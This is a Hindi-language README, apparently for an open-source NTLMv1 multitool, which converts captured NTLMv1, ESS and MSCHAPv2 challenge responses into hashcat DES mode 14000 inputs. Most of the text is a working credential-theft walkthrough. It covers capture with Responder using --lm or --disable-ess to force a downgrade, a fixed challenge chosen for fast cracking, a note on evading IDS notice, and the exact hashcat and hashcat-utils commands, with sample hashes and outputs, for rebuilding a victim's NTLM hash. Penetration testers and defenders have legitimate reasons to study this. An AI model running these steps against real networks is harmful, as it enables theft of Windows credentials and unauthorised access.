
NTLMv1 मल्टीटूल
यह टूल NTLMv1 हैश को NTLM में रिवर्स करता है, या अधिक स्पष्ट रूप से यह NTLMv1 चैलेंज प्रतिक्रियाओं को ऐसे फ़ॉर्मेट में बदलता है जिसे hashcat mode 14000 से क्रैक किया जा सकता है।
यदि आप --ct3 निर्दिष्ट करते हैं, तो यह आपके लिए NTLM के अंतिम 4 अंकों की गणना करेगा; यदि आप --json निर्दिष्ट करते हैं, तो --ct3 निहित हो जाता है और यह pt3 तत्व के रूप में लौटाएगा, उदा.:
python3 ntlmv1.py --ntlm "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788" --json
{"ntlmv1": "DC1$::MOG:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E:1122334455667788", "user": "DC1$", "domain": "MOG", "challenge": "1122334455667788", "lmresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ntresp": "AC51EC464A91A35A04A862DA3106EC2B352661ECEF909C5E", "ct3": "352661ECEF909C5E", "ct3_crack": "ct3_to_ntlm.bin 352661ECEF909C5E 1122334455667788", "pt3": "8c71", "hash1": "AC51EC464A91A35A:1122334455667788", "hash2": "04A862DA3106EC2B:1122334455667788"}
अंत में, इस अपडेट में मैंने फ़ंक्शंस को main() में स्थानांतरित कर दिया है ताकि आप सीधे उपयोग के लिए मॉड्यूल को इम्पोर्ट कर सकें।
मैंने 2 नए विकल्प जोड़े हैं, --hashcat और --hcutils; ये क्रमशः आपके hashcat और hashcat-utils का पथ सेट करते हैं ताकि आप टूल से सीधे कॉपी और पेस्ट कर सकें।
यदि आपकी hashcat डायरेक्ट्री ~/git/hashcat में और hashcat-utils डायरेक्ट्री ~/git/hashcat-utils में हो, तो आप टूल को इस प्रकार चलाएँगे:
python3 ./ntlmv1.py --ntlm "SERVER1$::MOG:9DE7F41D81C1207400000000000000000000000000000000:DE766A98B60D1C911DCFFFDBB3E521314B2CE34EAB63CC7B:1122334455667788" --hashcat "~/git/hashcat" --hcutils "~/git/hashcat-utils"
हाँ, यह माना जाता है कि यह Python 3 संगत है; मैंने ntlmv1 और ntlmv1-ess को भी विलय कर दिया है।
NTLMv1 मल्टीटूल
यह टूल NTLMv1/NTLMv1-ESS/MSCHAPv2 हैश को संशोधित करता है ताकि उन्हें hashcat में DES Mode 14000 से क्रैक किया जा सके।
यह टूल Hashcat टीम के atom द्वारा किए गए कार्य पर आधारित है https://hashcat.net/forum/thread-5832.html
यह https://hashcat.net/forum/thread-5912.html और https://www.youtube.com/watch?v=LIHACAct2vo पर भी आधारित है।
ntlmv1_nextgen.py नेक्स्ट-जेन टूल को uv के साथ वैश्विक ntlmv1-multi कमांड के रूप में इंस्टॉल करें:
uv tool install .
ntlmv1-multi --ntlmv1 "hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788"
या बिना इंस्टॉल किए इसे सीधे रिपॉजिटरी से चलाएँ:
uv run ntlmv1_nextgen.py --ntlmv1 "hashcat::DUSTIN-5AA37877:..."
प्रोजेक्ट एक pyproject.toml (Python 3.14+, pycryptodome निर्भरता) के साथ आता है, इसलिए uv आपके लिए सब कुछ हल कर देता है; मूल ntlmv1.py अभी भी किसी भी Python 3 इंटरप्रेटर के साथ स्टैंडअलोन चलता है।
ntlmv1_nextgen.py)ntlmv1_nextgen.py (ntlmv1-multi कमांड के रूप में इंस्टॉल) आधुनिक पार्सर है। यह NTLMv1, $99$ ब्लॉब्स और MSCHAPv2 स्वीकार करता है, ESS को स्वचालित रूप से संभालता है, और क्रैक किए गए पॉटफाइल से पूर्ण NTLMv1 -> NTLM रूपांतरण एक चरण में पूरा कर सकता है। उपलब्ध विकल्प:
| विकल्प | विवरण |
|---|---|
--ntlmv1 <hash> | Responder फ़ॉर्मेट में NTLMv1 हैश (user::host:LM:NT:challenge). |
--99 <blob> | $99$-शैली बेस64 ब्लॉब। |
--mschapv2 <hash> | John the Ripper फ़ॉर्मेट में MSCHAPv2 हैश। |
--nthash <hex> | 32-अक्षर NTLM हैश; DES कुंजियाँ और hashcat उम्मीदवार निकालता है। |
--password <pw> | ज्ञात पासवर्ड से --key1/--key2 DES कुंजियाँ निकालें। |
--key1 <hex> / --key2 <hex> | CT1/CT2 के लिए 16-हेक्स DES कुंजियाँ सीधे दें (--potfile पर वरीयता लेता है)। |
--potfile <path> | क्रैक किए गए mode 14000 कुंजियों की hashcat/rainbowcrackalack पॉटफाइल; NTLMv1 -> NTLM रूपांतरण पूरा करने के लिए key1/key2 स्वचालित रूप से पुनर्प्राप्त करता है। |
--hashcat | CT1/CT2 के लिए hashcat-फ़ॉर्मेट स्ट्रिंग्स उत्पन्न करें। |
--json | केवल JSON आउटपुट करें (CT3 गणना निहित करता है)। |
कैप्चर करने के लिए responder का उपयोग --lm फ्लैग के साथ करें; --lm के बिना आप ESS सक्रिय कर देंगे, जिसे क्रैक होने में अधिक समय लगेगा। साथ ही एक नया फ्लैग --disable-ess भी है जो ESS को निष्क्रिय करने और डाउनग्रेड को बाध्य करने का प्रयास करेगा। पहले --disable-ess आज़माएँ और यदि वह विफल हो तो कृपया --lm आज़माएँ। यदि --disable-ess या --lm का उपयोग कर रहे हैं, तो FPGA का उपयोग करने के लिए सुनिश्चित करें कि आपका क्लाइंट चैलेंज 1122334455667788 है; हालाँकि यदि वे उस ट्रैफ़िक को देखते हैं तो यह कुछ नेटवर्क IDS/IPS सुरक्षाओं को ट्रिगर कर सकता है।
कैप्चर इस प्रकार दिखेगा।
[SMB] NTLMv1 Client : 184.64.60.62
[SMB] NTLMv1 Username : DUSTIN-5AA37877\hashcat
[SMB] NTLMv1 Hash : hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
[*] Skipping previously captured hash for DUSTIN-5AA37877\hashcat
हैश भाग इस प्रकार दिखता है
hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
इसलिए मल्टी टूल का उपयोग इस प्रकार करें (यह Python 2 संगत भी है)
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
यह सर्वर चैलेंज आदि को संशोधित किए बिना निम्नलिखित डेटा आउटपुट करेगा
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
इस मामले में उपयोग किया गया पासवर्ड "password" है और हम ntlm हैश को इससे सत्यापित कर सकते हैं
echo -n password | iconv -f utf8 -t utf16le | openssl dgst -md4
(stdin)= 8846f7eaee8fb117ad06bdd830b7586c
atom द्वारा लिखे गए hashcat utils ct3_to_ntlm.bin के साथ आप NTLMv1 चैलेंज से NTLM हैश के अंतिम 4 अक्षरों की गणना कर सकते हैं, जिसे टूल आउटपुट करता है
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c
यह ntlm हैश के अंत तक मेल खाता है, इसलिए हम आगे बढ़ सकते हैं। अगला चरण हैश को hashcat से क्रैक करना है, इसके लिए हमें निम्नलिखित सामग्री के साथ hashes.txt फ़ाइल बनानी होगी
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
इसे hashcat से क्रैक करने के लिए आप इसका उपयोग करें
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
एक महत्वपूर्ण बात यह है कि hashcat DES कुंजियाँ लौटाएगा, NTLM कुंजियाँ नहीं; आपको Hashcat Utils से deskey_to_ntlm.pl का उपयोग करके NTLM में परिवर्तित करना होगा। यह निम्न प्रकार से किया जा सकता है
./deskey_to_ntlm.pl [cracked des key 1]
./deskey_to_ntlm.pl [cracked des key 2]
फिर आप दोनों ntlm कुंजियों को पासवर्ड के तीसरे भाग के साथ जोड़ते हैं। इसकी गणना (टूल जो भी आउटपुट करता है) द्वारा की जाती है
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
उन 3x को एक साथ जोड़ें और आपका काम हो गया।
यदि आप केवल मेरे कोड का परीक्षण कर रहे हैं और पासवर्ड पहले से जानते हैं, तो आप des कनवर्टर का उपयोग कर सकते हैं
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d